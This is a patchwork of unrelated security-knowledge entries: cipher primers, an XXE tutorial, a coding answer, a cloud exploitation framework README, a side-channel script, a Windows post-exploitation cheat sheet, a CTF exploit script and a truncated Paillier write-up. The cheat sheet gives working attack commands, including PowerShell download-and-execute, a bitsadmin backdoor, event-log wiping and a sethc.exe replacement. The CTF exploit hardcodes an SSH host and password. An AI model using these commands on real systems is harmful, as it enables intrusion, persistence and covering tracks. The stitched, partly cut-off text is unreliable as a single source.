+(!![]+[])[+[[+!+[]]]]]+[])[+[[+!+[]]]+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+[+!+[]]+([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]+[])[+[[+!+[]]]+[[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]]])() ``` 其他一些基本的表达: ```javascript false => ![] true => !![] undefined => [][[]] NaN => +[![]] 0 => +[] 1 => +!+[] 2 => !+[]+!+[] 10 => [+!+[]]+[+[]] Array => [] Number => +[] String => []+[] Boolean => ![] Function => []["filter"] eval => []["filter"]["constructor"]( CODE )() window => []["filter"]["constructor"]("return this")() ``` ### BrainFuck原理 Brainfuck,是一种极小化的计算机语言,它是由 Urban Müller 在 1993 年创建的。我们举一个例子,如果我们想要一个在屏幕上打印Hello World!,那么对应的程序如下。对于其中的原理,感兴趣的可以自行网上搜索。 ``` ++++++++++[>+++++++>++++++++++>+++>+<<<<-] >++.>+.+++++++..+++.>++.<<+++++++++++++++. >.+++.------.--------.>+.>. ``` 与其对应的还有 ook。 ### 舞动的小人密码原理 这种密码出自于福尔摩斯探案集。每一个跳舞的小人实际上对应的是英文二十六个字母中的一个,而小人手中的旗子则表明该字母是单词的最后一个字母,如果仅仅是一个单词而不是句子,或者是句子中最后的一个单词,则单词中最后一个字母不必举旗。 ### 手机键盘密码 手机键盘加密方式,是每个数字键上有 3-4 个字母,用两位数字来表示字母,例如:ru 用手机键盘表示就是:7382,那么这里就可以知道了,手机键盘加密方式不可能用 1 开头,第二位数字不可能超过 4。 关于手机键盘加密还有另一种方式,就是「音的」式(这一点可能根据手机的不同会有所不同),具体参照手机键盘来打,例如:「数字」表示出来就是:748 94。在手机键盘上面按下这几个数,就会出:「数字」的拼音。
sec-knowleage
原文 By Mark4z5 ## 一、XML基础知识 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。 ![xxe1](../pictures/xxe1.png) DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。 内部声明DTD <!DOCTYPE 根元素 [元素声明]> 引用外部DTD <!DOCTYPE 根元素 SYSTEM "文件名"> 或者 <!DOCTYPE 根元素 PUBLIC "public_ID" "文件名"> DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。 内部声明实体 <!ENTITY 实体名称 "实体的值"> 引用外部实体 <!ENTITY 实体名称 SYSTEM "URI"> 或者 <!ENTITY 实体名称 PUBLIC "public_ID" "URI"> ## 二、XML外部实体注入(XML External Entity) 当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。 引入外部实体方式有多种,比如: 恶意引入外部实体方式1: XML内容: ![xxe2](../pictures/xxe2.png) 恶意引入外部实体方式2: XML内容: ![xxe3](../pictures/xxe3.png) DTD文件(evil.dtd)内容: ![xxe4](../pictures/xxe4.png) 恶意引入外部实体方式3: XML内容: ![xxe5](../pictures/xxe5.png) DTD文件(evil.dtd)内容: ![xxe6](../pictures/xxe6.png) 另外,不同程序支持的协议不一样, ![xxe7](../pictures/xxe7.png) 上图是默认支持协议,还可以支持其他,如PHP支持的扩展协议有 ![xxe8](../pictures/xxe8.png) 以下举例说明XXE危害,当然XXE不止这些危害。 XXE危害1:读取任意文件 ![xxe9](../pictures/xxe9.png) ![xxe10](../pictures/xxe10.png) 该CASE是读取/etc/passwd,有些XML解析库支持列目录,攻击者通过列目录、读文件,获取帐号密码后进一步攻击,如读取tomcat-users.xml得到帐号密码后登录tomcat的manager部署webshell。 另外,数据不回显就没有问题了吗?如下图, ![xxe11](../pictures/xxe11.png) 不,可以把数据发送到远程服务器, ![xxe12](../pictures/xxe12.png) 远程evil.dtd文件内容如下: ![xxe13](../pictures/xxe13.png) 触发XXE攻击后,服务器会把文件内容发送到攻击者网站 ![xxe14](../pictures/xxe14.png) ![xxe15](../pictures/xxe15.png) XXE危害2:执行系统命令 ![xxe16](../pictures/xxe16.png) ![xxe17](../pictures/xxe17.png) 该CASE是在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。 XXE危害3:探测内网端口 ![xxe18](../pictures/xxe18_1.png) ![xxe18](../pictures/xxe18.png) 该CASE是探测192.168.1.1的80、81端口,通过返回的“Connection refused”可以知道该81端口是closed的,而80端口是open的。 XXE危害4:攻击内网网站 ![xxe19](../pictures/xxe19.png) ![xxe20](../pictures/xxe20.png) 该CASE是攻击内网struts2网站,远程执行系统命令。 ## 三、客户端XXE案例 日前,某office文档转换软件被爆存在XXE漏洞(PS:感谢TSRC平台白帽子Titans`报告漏洞),某一应用场景为:Web程序调用该office软件来获取office文档内容后提供在线预览。由于该软件在处理office文档时,读取xml文件且允许引用外部实体,当用户上传恶意文档并预览时触发XXE攻击。详情如下: 新建一个正常文档,内容为Hi TSRC, ![xxe21](../pictures/xxe21.png) 使用该软件转换后可以得到文本格式的文档内容, ![xxe22](../pictures/xxe22.png) ![xxe23](../pictures/xxe23.png) 当往该docx的xml文件注入恶意代码(引用外部实体)时,可进行XXE攻击。 ![xxe24](../pictures/xxe24.png) ![xxe25](../pictures/xxe25.png) ## 四、防御XXE攻击 方案一、使用开发语言提供的禁用外部实体的方法 PHP: libxml_disable_entity_loader(true); JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); Python: from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False)) 方案二、过滤用户提交的XML数据 关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。 【最后】 无论是WEB程序,还是PC程序,只要处理用户可控的XML都可能存在危害极大的XXE漏洞,开发人员在处理XML时需谨慎,在用户可控的XML数据里禁止引用外部实体。 文中涉及到的代码和技术细节,只限用于技术交流,切勿用于非法用途。欢迎探讨交流,行文仓促,不足之处,敬请不吝批评指正。 ## Reference [未知攻焉知防——XXE漏洞攻防](https://security.tencent.com/index.php/blog/msg/69) [XMLDTDEntityAttacks](http://www.vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf) [WhatYouDidntKnowAboutXXEAttacks](http://2013.appsecusa.org/2013/wp-content/uploads/2013/12/WhatYouDidntKnowAboutXXEAttacks.pdf) [XML_Exteral_Entity_Attack](https://www.owasp.org/images/5/5d/XML_Exteral_Entity_Attack.pdf)
sec-knowleage
# 32.2 把二叉树打印成多行 [NowCoder](https://www.nowcoder.com/practice/445c44d982d04483b04a54f298796288?tpId=13&tqId=11213&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github) ## 题目描述 和上题几乎一样。 ## 解题思路 ```java ArrayList<ArrayList<Integer>> Print(TreeNode pRoot) { ArrayList<ArrayList<Integer>> ret = new ArrayList<>(); Queue<TreeNode> queue = new LinkedList<>(); queue.add(pRoot); while (!queue.isEmpty()) { ArrayList<Integer> list = new ArrayList<>(); int cnt = queue.size(); while (cnt-- > 0) { TreeNode node = queue.poll(); if (node == null) continue; list.add(node.val); queue.add(node.left); queue.add(node.right); } if (list.size() != 0) ret.add(list); } return ret; } ```
sec-knowleage
--- title: CF 云环境利用框架使用手册 --- <center><h1>CF 云环境利用框架使用手册</h1></center> --- <p align="center"> <img width="500" src="/img/cf.png"><br><br> <a href="https://github.com/teamssix/cf/blob/main/LICENSE"><img alt="License" src="https://img.shields.io/badge/License-Apache%202.0-blue.svg"/></a> <a href="https://goreportcard.com/report/github.com/teamssix/cf"><img alt="Go Report Card" src="https://goreportcard.com/badge/github.com/teamssix/cf"/></a> <a href="https://twitter.com/teamssix"><img alt="Twitter" src="https://img.shields.io/twitter/follow/teamssix?label=Followers&style=social" /></a> <a href="https://github.com/teamssix"><img alt="Github" src="https://img.shields.io/github/followers/TeamsSix?style=social" /></a><br></br> </p> ::: tip 通知 **CF 于 2023 年 8 月 9 日转为私有仓库并在狼组安全团队内部维护,后续官方不再提供任何开源版本,CF 开源的版本号停止于 0.5.0 版本,关于各类非官方的 CF 衍生版本请大家在使用时留意是否安全。** CF 会一直维护下去,在 CF 的内部版本中会加上开源版中不方便加入的功能,如果你希望继续使用 CF 并体验到最新功能,可以采取以下任意方式: * 加入狼组安全团队。将简历发送至 `admin#wgpsec.org`,经过简历审核与团队面试后方可加入团队。 * 以前为 CF 贡献过代码。之前为 CF 贡献过的人可直接加入,可通过 `teamssix#wgpsec.org` 与我联系。 * 现在为 CF 贡献代码。可以将你使用 Go 编写的云环境利用代码作为附件发送到 `teamssix#wgpsec.org`,我这边审核通过后,就会把你拉到 CF 项目中,然后你再将代码提 PR 到 CF。 > 发送邮件时,注意将 # 改为 @ ::: --- CF 是一个云环境利用框架,适用于在红队场景中对云上内网进行横向、SRC 场景中对 Access Key 即访问凭证的影响程度进行判定、企业场景中对自己的云上资产进行自检等等。 <details> <summary>CF 命令使用大全</summary><br> <img width="1000" src="/img/1688145889.png"><br> </details><br> 当前已支持的云: * 阿里云 * 腾讯云 * AWS * 华为云 ## 安装 ### HomeBrew 安装 ```bash brew tap teamssix/tap brew install teamssix/tap/cf ``` ### 下载二进制包 直接在 CF 下载地址:[github.com/teamssix/cf/releases](https://github.com/teamssix/cf/releases) 中下载系统对应的压缩文件,解压后在命令行中运行即可。 <details> <summary>目前支持的系统</summary><br> | 文件名 | 系统 | 架构 | 位数 | | :--------------------------: | :-----: | :--------------------------------: | :--: | | cf_x.x.x_darwin_amd64.tar.gz | MacOS | AMD(适用于 Intel 芯片的 Mac) | 64 | | cf_x.x.x_darwin_arm64.tar.gz | MacOS | ARM(适用于苹果 M 系列芯片的 Mac) | 64 | | cf_x.x.x_linux_386.tar.gz | Linux | AMD | 32 | | cf_x.x.x_linux_amd64.tar.gz | Linux | AMD | 64 | | cf_x.x.x_linux_arm64.tar.gz | Linux | ARM | 64 | | cf_x.x.x_windows_386.zip | Windows | AMD | 32 | | cf_x.x.x_windows_amd64.zip | Windows | AMD | 64 | | cf_x.x.x_windows_arm64.zip | Windows | ARM | 64 | </details> ## 使用案例 | 标题 | 所使用的 CF 版本 | 文章地址 | 作者 | 发布时间 | | :--------------------------------: | :--------------: | :----------------------------------------------------------: | :------: | :--------: | | 《CF 云环境利用框架最佳实践》 | v0.4.5 | [wiki.teamssix.com/cf/cases/cf_best_practices](https://wiki.teamssix.com/cf/cases/cf_best_practices.html) | TeamsSix | 2023.6.4 | | 《记一次打穿云上内网的攻防实战》 | v0.4.5 | [zone.huoxian.cn/d/2766](https://zone.huoxian.cn/d/2766) | Walker 沃克 | 2023.5.21 | | 《一次简单的"云"上野战记录》 | v0.4.2 | [mp.weixin.qq.com/s/wi8CoNwdpfJa6eMP4t1PCQ](https://mp.weixin.qq.com/s/wi8CoNwdpfJa6eMP4t1PCQ) | carrypan | 2022.10.19 | | 《记录一次平平无奇的云上攻防过程》 | v0.4.0 | [zone.huoxian.cn/d/2557](https://zone.huoxian.cn/d/2557) | TeamsSix | 2022.9.14 | | 《我用 CF 打穿了他的云上内网》 | v0.2.4 | [zone.huoxian.cn/d/1341-cf](https://zone.huoxian.cn/d/1341-cf) | TeamsSix | 2022.7.13 | ## CF 使用答疑 在 CF 项目的 [Discussions](https://github.com/teamssix/cf/discussions) 板块里,我创建了一个答疑帖,如果你遇到和 CF 相关的使用问题,可以在这里提出,我会给出相应的解答,同时这里也汇总了之前一些人问过的一些问题。 CF 答疑帖地址:[github.com/teamssix/cf/discussions/250](https://github.com/teamssix/cf/discussions/250) ## 简单上手 <img width="900" src="/img/1665545933.png"> > 这里以阿里云为例,其他更多操作可以查看上面的使用手册。 配置访问配置 ```bash cf config ``` <img width="900" src="/img/1662541672.png"> 一键列出当前访问凭证的权限 ```bash cf alibaba perm ``` <img width="750" src="/img/1662541990.png"> 一键接管控制台 ```bash cf alibaba console ``` <img width="850" src="/img/1662542001.png"> 一键列出当前访问凭证的云服务资源 ```bash cf alibaba ls ``` <img width="1000" src="/img/1662542020.png"> 查看 CF 为实例执行命令的操作的帮助信息 ```bash cf alibaba ecs exec -h ``` <img width="1000" src="/img/1665546062.png"> 一键为所有实例执行三要素,方便 HVV ```bash cf alibaba ecs exec -b ``` <img width="800" src="/img/1662542141.png"> 一键获取实例中的临时访问凭证数据 ```bash cf alibaba ecs exec -m ``` <img width="1000" src="/img/1662542336.png"> 一键下载 OSS 对象存储数据 ```bash cf alibaba oss obj get ``` <img width="900" src="/img/1662542708.png"> 一键创建 RDS 账号 ```bash cf alibaba rds account ``` <img width="900" src="/img/1688142590.png"> 一键升级 CF 版本 ```bash cf upgrade ``` <img width="900" src="/img/1662542858.png"> 如果感觉还不错的话,师傅记得给个 Star 呀 ~ ## 贡献者 十分感谢各位师傅对 CF 的贡献~,如果你也想对 CF 贡献代码,请参见贡献说明:[CONTRIBUTING](https://github.com/teamssix/cf/blob/main/CONTRIBUTING.md) <div align=center> <table> <tr> <td align="center"> <a href="https://github.com/teamssix"><img alt="TeamsSix" src="/img/1662546884.jpeg" style="width: 100px;" /><br />TeamsSix</a> </td> <td align="center"> <a href="https://github.com/Amzza0x00"><img alt="Amzza0x00" src="/img/1662546910.jpeg" style="width: 100px;" /><br />Amzza0x00</a> </td> <td align="center"> <a href="https://github.com/Esonhugh"><img alt="Esonhugh" src="/img/1662546943.jpeg" style="width: 100px;" /><br />Esonhugh</a> </td> <td align="center"> <a href="https://github.com/Dawnnnnnn"><img alt="Dawnnnnnn" src="/img/1662546995.jpeg" style="width: 100px;" /><br />Dawnnnnnn</a> </td> <td align="center"> <a href="https://github.com/Belos-pretender"><img alt="Belos-pretender" src="/img/1688146213.jpeg" style="width: 100px;" /><br />Belos-pretender</a> </td> <td align="center"> <a href="https://github.com/0xorOne"><img alt="Kfzz1" src="/img/1688146266.jpeg" style="width: 100px;" /><br />Kfzz1</a> </td> </tr> <tr> <td align="center"> <a href="https://github.com/shadowabi"><img alt="shadowabi" src="/img/1688146300.jpeg" style="width: 100px;" /><br />shadowabi</a> </td> <td align="center"> <a href="https://github.com/ruishawn"><img alt="ruishawn" src="/img/1692351882.jpeg" style="width: 100px;" /><br />ruishawn</a> </td> </tr> </table> </div> ## 404星链计划 <img width="400" src="/img/startlink_logo.png"> CF 现已加入 [404星链计划](https://github.com/knownsec/404StarLink) ## 注意事项 * 本工具仅用于合法合规用途,严禁用于违法违规用途。 * 本工具中所涉及的风险点均属于租户责任,与云厂商无关。 <div align=center><img width="400" src="/img/1672820508.JPG"></div><br> <div align=center><b>感谢你使用我的工具</b></div> <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2023年4月29日" } } </script>
sec-knowleage
import subprocess import serial, sys import time, random import matplotlib.pyplot as plt import numpy as np from scipy import fftpack def enc(e): s = serial.Serial("/dev/ttyUSB0", 115200, timeout = 2) stuff = "\xae" + e + "\n" s.write(stuff) rd = s.read(18) print repr(stuff), repr(rd) assert rd == stuff return s.read(16) def wait(p, t): t0 = time.time() while time.time() - t0 < t: if p.poll() is not None: return time.sleep(0.1) raise Exception("Timeout") def parse_sigrok(fname): def get(line): f = float(line.split()[1]) if "mV" in line: return f/1e3 return f data = open(fname).readlines()[1:-1] return np.array([get(line) for line in data], dtype=np.float32) def get_sample(inp): p = subprocess.Popen(["sigrok-cli", "--driver", "rigol-ds", "--frames", "1", "-o", "/tmp/test", "-C", "CH1", "-O", "analog", "-c", "data_source=Memory"]) time.sleep(1) out = enc("".join(chr(c) for c in inp)) out = np.array([ord(c) for c in out]) wait(p, 30) data = parse_sigrok("/tmp/test") return out, data def save_npz(fname, inputs, outputs, traces): np.savez_compressed(fname, inputs=inputs, outputs=outputs, traces=traces) def collect(fname, inputs): assert type(inputs) == np.ndarray n = len(inputs) outputs = np.zeros((n, 16), dtype=np.uint8) traces = np.zeros((n, 1048576), dtype=np.float32) for i, inp in enumerate(inputs): print i, "/", len(inputs) out, dat = get_sample(inp) outputs[i] = out traces[i] = dat save_npz(fname, inputs, outputs, traces) def load_npz(fname, n=None): arr = np.load(fname) inputs, outputs, traces = arr["inputs"], arr["outputs"], arr["traces"] if n is not None: inputs = inputs[:n] outputs = outputs[:n] traces = traces[:n] return inputs, outputs, traces def show_traces(traces, legend = False): for i, t in enumerate(traces): plt.plot(t, label = str(i)) if legend: plt.legend() plt.show() def show_red_green(red, green): for t in red: plt.plot(t, "r") for t in green: plt.plot(t, "g") plt.show() def normalize(traces): for t in traces: t -= np.mean(t) t /= np.std(t) def smooth(traces, r): for i, t in enumerate(traces): traces[i] = np.convolve(t, np.ones(r))[:len(t)] def align_fft(traces, maxshift, add=None, verbose=True): t0 = traces[0] T0 = fftpack.fft(t0) shifts = [] for t in traces: T = -fftpack.fft(t).conjugate() ii = fftpack.ifft(T0*T) ii[maxshift:-maxshift] = 0 shift = -np.argmin(ii) if shift < -len(t) / 2: shift += len(t) shifts.append(shift) for i, s in enumerate(shifts): print "%+06d" % s, if i % 10 == 9: print print if add is None: add = -min(shifts) shifts = [s + add for s in shifts] for i in range(len(traces)): shifted = traces[i][shifts[i]:] zeros = np.zeros(shifts[i]) shifted = np.concatenate((shifted, zeros)) traces[i] = shifted def get_corr(a, b): return np.corrcoef((a, b))[0][1] def filter_corr(inputs, outputs, traces, min_corr): med = np.median(traces, axis=0) ind = [i for i, t in enumerate(traces) if get_corr(t, med) > min_corr] return inputs[ind], outputs[ind], traces[ind] def print_corr(traces): med = np.median(traces, axis=0) corr = [get_corr(t, med) for t in traces] for i, s in enumerate(corr): print "%+1.3f" % s, if i % 10 == 9: print print
sec-knowleage
**Authors**: < [nixawk](https://github.com/nixawk) > ---- ``` net view net view /domain net view /domain:DOMAINNAME net view \\domain-control net user net user /domain net localgroup administrators net localgroup administrators /domain net group /domain net group "Domain Admins" /domain net group "Domain Computers" /domain net group "Domain Controllers" /domain net group "Group Policy Creator Owners" /domain net time /domain net config net session net use \\ip\ipc$ password /user:username net share net accounts /domain ``` ``` wmic useraccount wmic useraccount LIST FULL wmic useraccount LIST BRIEF wmic useraccount LIST STATUS wmic startup wmic share wmic service wmic process where name="[PROCESS]" call terminate wmic process where ProcessId="[PID]" call terminate wmic /node:DC1 /user:DOMAIN\domainadminsvc /password:domainadminsvc123 process call create "cmd /c vssadmin list shadows 2>&1 > c:\temp\output.txt" wmic qfe get hotfixid wmic logicaldisk where drivetype=3 get name, freespace, systemname, filesystem, size, volumeserialnumber wmic bios wmic bios LIST FULL ``` ``` netsh firewall show conf netsh firewall set service type = remotedesktop mode = enable netsh firewall add allowedprogram C:\nltest.exe mltest enable netsh firewall add portopening tcp 2482 lt enable all netsh int portproxy v4tov4 listenport=80 connecthost=[AttackerIP] connectport=80 netsh wlan show profiles netsh wlan export profile folder=. key=clear netsh wlan set hostednetwork mode=[allow\|disallow] netsh wlan set hostednetwork ssid=<ssid> key=<passphrase> keyUsage=persistent\|temporary netsh wlan [start|stop] hostednetwork ``` ``` netstat -ano netstat -ano -p tcp netstat -ano -p udp ``` ``` tasklist /V tasklist /M tasklist /FI "IMAGENAME eq cmd.exe" tasklist /FI "PID eq 4060" ``` ``` ipconfig /all ipconfig /displaydns ``` ``` powershell.exe -w hidden -nop -ep bypass -c "IEX ((new-object net.webclient).downloadstring('http://[domainname|IP]:[port]/[file]'))" powershell.exe -w hidden -nop -ep bypass -c "(new-object net.webclient).DownloadFile('http://ip:port/file', 'C:\Windows\temp\testfile')" ``` ``` bitsadmin /create backdoor bitsadmin /addfile backdoor http://192.168.20.10/theshell.exe C:\windows\temp\theshell.exe bitsadmin /SETMINRETRYDELAY 88000 bitsadmin /SETNOTIFYCMDLINE backdoor C:\windows\temp\theshell.exe NULL bitsadmin /getnotifycmdline backdoor bitsadmin /listfiles backdoor bitsadmin /RESUME backdoor # Run the backdoor ``` ``` for /f %a in ('wevtutil el') do @wevtutil cl "%a" del %WINDIR%\*.log /a /s /q /f ``` ``` sc create cmdsys type= own type= interact binPath= "c:\windows\system32\cmd.exe /c cmd.exe" & sc start cmdsys ``` ``` route print arp -a qwinsta qprocess nbtstat -A ip fsutil fsinfo drivers wmic volume LIST BRIEF systeminfo at 13:20 /interactive cmd type C:\Windows\system32\demo.txt gpresult /Z dir /b /s | find /I "password" FOR /F %f in ('dir /b /s C:\') do find /I "password" %f ``` ``` Replacing file as: sethc.exe @echo off c: > nul\cd\ > nul\cd %SYSTEMROOT%\System32\ > nul if exist %SYSTEMROOT%\System32\cmdsys\ rd /q %SYSTEMROOT%\System32\cmdsys\ > nul cmd %SYSTEMROOT%\System32\cmdsys\ > nul copy /y c:\windows\system32\cmd.exe c:\windows\system32\cmdsys\cmd.bkp /y > nul copy /y c:\windows\system32\sethc.exe c:\windows\system32\cmdsys\sethc.bkp /y > nul copy /y c:\windows\system32\cmd.exe c:\windows\system32\cmdsys\sethc.exe /y > nul copy /y c:\windows\system32\cmdsys\sethc.exe c:\windows\system32\sethc.exe /y > nul exit ``` ## References 1. http://pwnwiki.io/
sec-knowleage
#!/usr/bin/env python2 # -*- coding: utf-8 -*- # This exploit template was generated via: # $ pwn template ./test from pwn import * import subprocess import pickle import string import sys class ELF_MUSL(ELF): def _populate_libraries(self): # We need a .dynamic section for dynamically linked libraries if not self.get_section_by_name('.dynamic') or self.statically_linked: self.libs= {} return # We must also specify a 'PT_INTERP', otherwise it's a 'statically-linked' # binary which is also position-independent (and as such has a .dynamic). for segment in self.iter_segments_by_type('PT_INTERP'): break else: self.libs = {} return try: cmd = 'ulimit -s unlimited; ldd %s 2>/dev/null' % sh_string(self.path) data = subprocess.check_output(cmd, shell = True, stderr = subprocess.STDOUT) libs = parse_ldd_output(data) for lib in dict(libs): if os.path.exists(lib): continue if not self.native: ld_prefix = qemu.ld_prefix() qemu_lib = os.path.exists(os.path.join(ld_prefix, lib)) if qemu_lib: libs[os.path.realpath(qemu_lib)] = libs.pop(lib) self.libs = libs except subprocess.CalledProcessError: self.libs = {} ELF = ELF_MUSL #context.log_level = "DEBUG" # Set up pwntools for the correct architecture exe = context.binary = ELF_MUSL('./TheGame') # Many built-in settings can be controlled on the command-line and show up # in "args". For example, to dump all data sent/received, and disable ASLR # for all created processes... # ./exploit.py DEBUG NOASLR def local(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' if args.GDB: raise ValueError("Can't connect to GDB from remote") #io = process(["sshpass", "-p", "'arkcon'", "ssh", "challenger@35.157.31.6"]) io = process("sshpass -p arkcon ssh -tt challenger@35.157.31.6".split(), *a, **kw) #io.interactive() #io.sendlineafter("challenger@35.157.31.6's password:", "arkcon") return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.REMOTE: return remote(argv, *a, **kw) else: return local(argv, *a, **kw) # Specify your GDB script here for debugging # GDB will be launched if the exploit is run via e.g. # ./exploit.py GDB #break *0x{exe.entry:x} gdbscript = ''' continue '''.format(**locals()) #b *0x555555556d40 #b *0x0000555555556e11 #b *0x0000555555556ee5 #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: amd64-64-little # RELRO: Full RELRO # Stack: No canary found # NX: NX enabled # PIE: PIE enabled MATCH = 0 NO_MATCH = 1 SKIP = 2 ALARM = -14 UNKNOWN = 0 SKIPPED = 0xff FLAG_LEN = 32 ALPHABET = 'e3t7a@4o0i1!_ns5$hrdlcumwfg6ypbvkjxqz289"#%&\'()*+,-./:;<=>?[\\]^`{|}~' assert(set(ALPHABET) == set(string.lowercase + string.digits + string.punctuation)) if args.REMOTE: DB_FILE = "flag_remote.db" else: DB_FILE = "flag_local.db" func_list = [ 0x00101994, # 0 (0x0) 0x001019ea, # 1 (0x1) 0x00101a41, # 2 (0x2) 0x00101a98, # 3 (0x3) 0x00101aef, # 4 (0x4) 0x00101b46, # 5 (0x5) 0x00101b9d, # 6 (0x6) 0x00101bf4, # 7 (0x7) 0x00101c4b, # 8 (0x8) 0x00101ca2, # 9 (0x9) 0x00101cf9, # 10 (0xa) 0x00101d50, # 11 (0xb) 0x00101da7, # 12 (0xc) 0x00101dfe, # 13 (0xd) 0x00101e55, # 14 (0xe) 0x00101eac, # 15 (0xf) 0x001024be, # 16 (0x10) 0x00101f5e, # 17 (0x11) 0x00101fb5, # 18 (0x12) 0x0010200c, # 19 (0x13) 0x00102063, # 20 (0x14) 0x001020ba, # 21 (0x15) 0x0010253e, # 22 (0x16) 0x00102158, # 23 (0x17) 0x001021af, # 24 (0x18) 0x00102206, # 25 (0x19) 0x0010225d, # 26 (0x1a) 0x001022b4, # 27 (0x1b) 0x0010230b, # 28 (0x1c) 0x00102362, # 29 (0x1d) 0x001023b9, # 30 (0x1e) 0x00102410, # 31 (0x1f) 0x00102467, # 32 (0x20) ] def get_return_code(target_addr, flag_guess): try: with context.local(log_level='ERROR'): io = start(alarm = 30) payload = 'A'*63 + '\x00' + flag_guess + '\x00' + '\x00' * 15 assert(len(payload) == len('A'*63 + '\x00' + 'NOINPUT' + '\x00' + '\x00' * 40)) payload += pack((target_addr & 0xFFFF), "all") io.sendlineafter("Please enter your nickname:", payload) io.sendlineafter("Choose an option :", "1") ret = io.poll(block=True) io.close() return ret except EOFError as e: print ("EOFError received") print e return None def progress(i): p = ["|", "/", "-", "\\"] sys.stdout.write("\b" + p[i % len(p)]) def load_flag(): try: flag = pickle.load( open( DB_FILE, "rb" ) ) except: flag = [UNKNOWN] * FLAG_LEN return flag def save_flag(flag): pickle.dump( flag, open( DB_FILE, "wb" ) ) def print_flag(flag): print flag def is_unknown(x): return type(x) == int and x != SKIPPED def is_skipped(x): return x == SKIPPED flag = load_flag() print_flag(flag) for i in range(0, len(flag)): if is_skipped(flag[i]): print "#{} is skipped".format(i) continue elif not is_unknown(flag[i]): print "#{} is {}".format(i, flag[i]) continue sys.stdout.write("#{}: ".format(i)) addr = func_list[i] & 0xFFF addr += 0x2000 for j, c in enumerate(ALPHABET): sys.stdout.write("\b{} ".format(c)) ret = None counter = 0 alarms = 0 skip = False while ret not in [MATCH, NO_MATCH]: progress(counter) guess = ["\x00"] * 32 guess[i] = c ret = get_return_code(addr, "".join(guess)) if ret == ALARM: alarms += 1 counter += 1 if counter > 100: skip = True break if alarms > 4: addr += 0x1000 if ret == MATCH: sys.stdout.write("\b") flag[i] = c save_flag(flag) break elif skip: print "\b [Skipping {}]".format(i) flag[i] = SKIPPED save_flag(flag) break else: print "#{} not found!".format(i) flag[i] = SKIPPED break print "\n" print_flag(flag) def magic(i): magic_str = "MAGIC" res = magic_str[i % len(magic_str)] return res def decode(s): r = "" for i, c in enumerate(s): if c in string.lowercase: r += chr(((ord(c) - ord(magic(i).lower()) ) % 26) + ord('a')) else: r += c return r flag_str = "".join(flag) print "\nCurrent output:" print flag_str print "\nDecoded flag:" print decode(flag_str)
sec-knowleage
# Lost modulus (crypto, 230p, 42 solved) In the task we can connect to a service running [python code](paillier_hitcon.py). We can easily deduce that it's a textbook implementation of Paillier cryptosystem. We get encrypted flag from the server and then we can perform two operations: - encryption of selected payload - decryption of selected payload, but only least significant byte is returned We can perform 2048 operations in total. The twist here is that we don't know the public key. ## Recover public key modulus This is the key part here. Once we have the modulus, we can easily recover the flag using homomorphic properties of the encryption. In order to recover the modulus we exploit the encryption-decryption oracle. If we encrypt a number bigger than `n` and then decrypt it back, the number will be cut by `mod n`. This way we know the number was too big, and `n` is smaller. We can use this property to recover all bits of the modulus, but it would cost us exactly 2048 operations, leaving no requests for flag recovery. But we know the whole least significant byte, so we recover all upper bits of `n` bit by bit, and then recover last byte of `n` at once, leaving us with 14 operations to work on the flag. The recovery operations is quite simple. First we recover the highest set bit in modulus. We encrypt-decrypt `2**1024` and check if the last decrypted byte is still `00`, if not then we send `2**1023` and check again, and so on: ```python for bit in range(bitsize - 1, -1, -1): payload = 2 ** bit e = enc(long_to_bytes(payload)).decode("hex") result = dec(e) if result == '00': start_bit = bit break ``` Once we know the highest set bit we can proceed to recover rest of the bits. We set next highest bit to 1 and perform encrypt-decrypt operation. If last byte is still `00` then our value was smaller than `n`, and therefore this bit in modulus has to be set. If last byte is not `00` then the number was bigger than `n` already, and therefore this bit in modulus has to be `0`, and we flip it back. We move downwards to the next bits recovering their real value: ```python payload = 2 ** start_bit # 100000... for bit in range(start_bit - 1, 7, -1): payload ^= 2 ** bit print(bin(payload)) e = enc(long_to_bytes(payload)).decode("hex") result = dec(e) if result != '00': # didn't work, set the bit back to 0 payload ^= 2 ** bit ``` After this we have `payload` which is equal to `n` up to the last byte. Recovering the last byte requires one more encrypt-decrypt operation. We send the `payload` data with last byte set to `0xff`, which is most likely too big for `n` and result will be cut by `mod n`. Now we simply loop over all possible values for the last byte and check for which one `payload % potential_n` gives the same remainder: ```python too_large = payload ^ 0xff e = enc(long_to_bytes(too_large)).decode("hex") result = int(dec(e), 16) for i in range(256): potential_n = payload ^ i mod = too_large % potential_n if mod == result: return potential_n ``` This way we managed to recover entire modulus, and we still have 14 operations to spare! ## Recover the flag We can easily recover the flag byte-by-byte using homomorphic properties of Paillier cryptosystem. We can get back the last byte simply by sending encrypted flag for decryption. Now we want to `shift` the decrypted flag back one byte, so if our ciphertext decrypts to `alamakota` we want to somehow change the ciphertext so it will decrypt to `alamakot`. It can be done if we first subtract the value of the last byte making the plaintext `alamakot\x00` and then if we divide the value by 256 making it `alamakot`. Paillier cryptosystem allows for those operations via: - 